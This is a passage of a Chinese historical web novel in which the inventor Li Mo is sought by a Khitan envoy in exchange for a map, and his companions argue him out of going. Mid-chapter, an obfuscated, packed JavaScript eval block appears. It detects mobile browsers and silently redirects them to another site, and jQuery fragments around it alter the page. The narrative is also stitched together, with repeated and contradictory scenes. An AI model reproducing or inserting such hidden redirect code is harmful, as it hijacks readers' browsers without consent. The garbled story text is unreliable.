那天早上,孙二从外面回来,脸色很难看。
“北边来人了。”他说,“辽国的。”
李默放下手里的图纸。
“多少人?”
“五个。住在城南的客栈里,说是来做生意的。”孙二顿了顿,“但带队的人,你认识。”
李默愣了一下。
“谁?”
孙二看着他。
“那个脸上有疤的。高平之战的时候来过。”
李默的瞳孔缩了一下。
耶律信。
那个站在木台下面,看着他的震天雷,说“以后得叫你师父了”的契丹使者。
他来干什么?
耶律信来的第三天,李默在街上看见了一个人。
一个从北边逃难过来的妇人,带着两个孩子。孩子饿得皮包骨,眼睛大得吓人。妇人跪在地上,向路人讨吃的,没人理她。
李默走过去,把身上带的干粮给了她。
妇人接过干粮,磕头如捣蒜。
李默把她扶起来。
“北边怎么了?”他问。
妇人看着他,眼睛里全是恐惧。
“契丹人……契丹人来了……”
李默的手顿了一下。
“来了多少人?”
妇人摇头。
“不知道……好多……好多……”
李默沉默了一会儿。
他抬起头,看着北边的方向。
天很蓝,蓝得刺眼。
但他知道,那片蓝下面,有五万骑兵。
耶律信来的第三天,派人送了拜帖。
不是给李默的,是给郭荣的。
帖子上写得很客气:久闻郭公子大名,特来拜会,想谈谈生意。
郭荣看完那张帖子,笑了。
“生意?”他把帖子递给李默,“你信吗?”
李默没说话。
郭荣站起来,走到窗边。窗外的天空很蓝,蓝得刺眼。
“辽国人在幽州城外屯了五万骑兵。一边屯兵,一边派人来谈生意——这是什么意思?”
李默知道这是什么意思。
一边打,一边谈。打得赢就打,打不赢就谈。谈不拢再打。
这是辽国人的老套路。
“你打算怎么办?”李默问。
郭荣想了想。
“见。”他说,“看看他想谈什么。”
耶律信来的那天,李默也在。
郭荣在那个小院子里见的他。没有别人,只有李默站在旁边。
院子里那棵梅树已经长满了叶子,绿绿的,在阳光下闪着光。树下放着那张石桌,两个石凳。
耶律信走进来的时候,脸上那道疤还是那么深。他穿着一身汉人的衣服,但走路的姿势,站着的姿态,一眼就能看出是契丹人。他的眼睛像鹰一样,扫过院子,扫过李默,落在郭荣身上。
他看见李默,笑了一下。
“李师傅,好久不见。”
李默点了点头。
耶律信走到郭荣面前,拱了拱手。
“郭公子,久仰。”
郭荣也拱了拱手。
“耶律将军,请坐。”
两个人坐下,李默站在旁边。
耶律信看着他,又笑了一下。
“李师傅不坐?”
李默摇了摇头。
耶律信点了点头,没再说什么。
他转过头,看着郭荣。
“郭公子,我来是想谈一笔生意。”
郭荣看着他。
“什么生意?”
耶律信从怀里摸出一张纸,放在桌上。
是一张地图。幽州以北,一直到辽国上京,山川河流,关隘城池,画得清清楚楚。比中原人画的那些地图,细得多。
郭荣看着那张图,没说话。
耶律信继续说:
“我可以用这张图,换你一样东西。”
郭荣抬起头,看着他。
“什么东西?”
耶律信指了指李默。
“他。”
屋里静了很久。
风吹进来,吹得桌上的地图哗哗响。
郭荣看着他,眼睛里有光。
“耶律将军,你知道你在说什么吗?”
耶律信点了点头。
“知道。”他说,“我要李师傅去辽国。教我们造那些东西——震天雷,蒸汽机,铁车。”
他看着郭荣。
“他去了,这张图就是你的。幽州以北,你想打哪儿,都知道。”
郭荣沉默了一会儿。
“如果我不换呢?”
耶律信笑了。
那笑容里,有一种很复杂的东西——不是威胁,是别的什么。
“郭公子,”他说,“我不是来逼你的。我是来谈的。”
他站起来。
“你考虑考虑。三天后,我再来。”
他走了。
郭荣坐在那儿,看着那张地图,看了很久。
李默走过来,站在他旁边。
“郭公子。”
郭荣没抬头。
“我不会把你交出去的。”
李默没说话。
郭荣抬起头,看着他。
“但你知道吗?”他说,“那张图,我很想要。”
三天里,李默每天晚上都睡不着。
他想起那个逃难的妇人,想起她的两个孩子,想起她说的“好多……好多”。
五万骑兵。
五万。
他算过一笔账:五万骑兵,一天要吃多少粮食?五天要吃多少粮食?一个月要吃多少粮食?
他们从幽州城外挪到幽州以南三百里,需要多少粮草?
他们是来吓人的,还是来真的?
他不知道。
但他知道,郭荣那张地图,能让汴梁知道那些骑兵在哪儿。
知道他们在哪儿,就能防。
防住了,就不用死人。
他想起那个老头。
想起狗子的妹妹。
想起那些站在门口要饭的人。
如果能让他们少死几个——
他愿意去辽国吗?
他不知道。
但他知道,阿箬不会让他去。
第三天晚上,阿箬来找他。
她站在门口,手里拿着那把短刀。
“你想去?”
李默没说话。
阿箬走进来,站在他面前。
“你想去辽国?”
李默沉默了一会儿。
“郭荣想要那张图。”他说。
阿箬看着他。
“那你就去?”
李默没说话。
阿箬往前走了一步。
“你知道你去辽国,会怎么样吗?”
李默知道。
“知道。”他说。
阿箬看着他,眼睛里有什么东西在动。
“你知道,还想去?”
李默想了想。
“如果能让那些人少死几个,”他说,“我想试试。”
阿箬沉默了很久。
然后她说:
“那我跟你去。”
李默愣了一下。
“什么?”
阿箬看着他。
“你去辽国,我跟你去。”
李默没说话。
阿箬继续说:
“你一个人去,回不来。两个人去,也许能回来。”
李默看着她。
月光下,那道疤还在。那双眼睛里,冷的那一层下面,有光。
“阿箬。”他说。
“嗯。”
“你知道你在说什么吗?”
阿箬点了点头。
“知道。”
李默没说话。
他只是看着她,看了很久。
然后他说:
“我不去了。”
阿箬愣了一下。
“为什么?”
李默想了想。
“因为,”他说,“你在这儿。”
三天里,郭荣没出门。
他把自己关在屋里,看着那张地图,看了三天三夜。
第三天晚上,他把李默叫来。
“李师傅,”他说,“我想好了。”
李默看着他。
郭荣的眼睛里,有血丝,也有光。
“我不换你。”他说,“但那张图,我想要。”
李默愣了一下。
“那怎么办?”
郭荣站起来,走到窗边。
“耶律信要的是你。”他说,“你不去,他就不给图。这买卖,做不成。”
他转过身,看着李默。
“但我想了一个办法。”
“什么办法?”
郭荣看着他。
“你去。”他说,“但不是我送你去。是你自己去。”
李默没说话。
郭荣继续说:
“你去辽国,教他们造东西。教一年,或者两年。教完了,回来。”
他看着李默的眼睛。
“那张图,我派人去拿。不是用你换,是用别的东西换。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401625|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>李默看着他。
“什么东西?”
郭荣沉默了一会儿。
“用我。”
---
李默愣住了。
郭荣看着他。
“耶律信想要你,是因为你有本事。但他也想要我,因为我手里有兵。我告诉他,用你换图,不值。用我换,值。”
李默站在那里,听着这些话。
“郭公子,”他说,“你疯了?”
郭荣笑了。
那笑容里,有一种很复杂的东西——像是早就想好了,又像是不得不做。
“我没疯。”他说,“我算过了。你去辽国,教他们造东西。一年两年,他们学会了,就不需要你了。你回来,图也拿到了,两不亏。”
他看着李默。
“我去辽国,当人质。他们在幽州城外那五万骑兵,就不敢动。两边相安无事,铁路可以慢慢修,人可以慢慢养。”
李默没说话。
郭荣走到他面前。
“李师傅,”他说,“你知道我为什么这么做吗?”
李默不知道。
郭荣看着他,眼睛里有光。
“因为,”他说,“铁路修成了,比谁的命都重要。”
---
那天夜里,李默回到将作监,坐在院子里,看着那台蒸汽机。
阿箬走过来,在他旁边坐下。
“郭荣找你了?”
李默点了点头。
阿箬看着他。
“说什么?”
李默沉默了一会儿。
“他说,”他说,“让我去辽国。”
阿箬的手攥紧了。
“去干什么?”
“教他们造东西。”李默说,“震天雷,蒸汽机,铁车。”
阿箬没说话。
李默看着她。
“他拿自己换我。”
阿箬愣了一下。
“什么意思?”
李默把郭荣的话说了一遍。
阿箬听完,沉默了很久。
然后她说:
“你不能去。”
李默看着她。
“为什么?”
阿箬转过头,看着他的眼睛。
“因为,”她说,“你去辽国,就回不来了。”
---
阿箬那句话说出来之后,两个人很久没说话。
月光照在他们身上,照出一层冷冷的银光。
过了很久,李默开口了。
“你怎么知道?”
阿箬看着他。
“因为我是从人市上活下来的。”她说,“我知道那些买人的人,是什么德行。”
她顿了顿。
“你去辽国,教他们造东西。教会了,他们还会留你吗?”
李默没说话。
阿箬继续说:
“他们不会留你。他们会杀你。杀了你,你就不能再帮别人造东西。”
李默知道她说的是对的。
但郭荣那边——
“郭荣呢?”他问。
阿箬想了想。
“他拿自己换你,”她说,“是因为他觉得你比他有用。”
她看着李默。
“你觉得自己比他有用吗?”
李默不知道。
阿箬站起来,走到他面前。
“李默,”她说,“你不能去。”
李默看着她。
月光下,那道疤还在。那双眼睛里,冷的那一层下面,有东西在烧。
“为什么?”他问。
阿箬看着他。
“因为,”她说,“你走了,这些人怎么办?”
她指着院子里那些屋子。
“阿钝怎么办?狗子怎么办?石头怎么办?那些刚来的孩子怎么办?”
她的手在抖。
“他们刚学会活。你走了,他们怎么活?”
李默没说话。
阿箬看着他,眼睛里有什么东西在动。
“你答应过我,”她说,“让我活。你让他们活。你走了,谁让他们活?”
李默站在那里,听着这些话。
他想起阿钝蹲在蒸汽机旁边看的样子。想起狗子抱着那个包袱擦骨头的样子。想起石头跟在狗子后面一句话不说的样子。想起那些刚来的孩子,眼睛里全是惶恐的样子。
他们都是他带回来的。
他们都在等他。
他走了,他们怎么办?
“阿箬。”他说。
“嗯。”
“我不走。”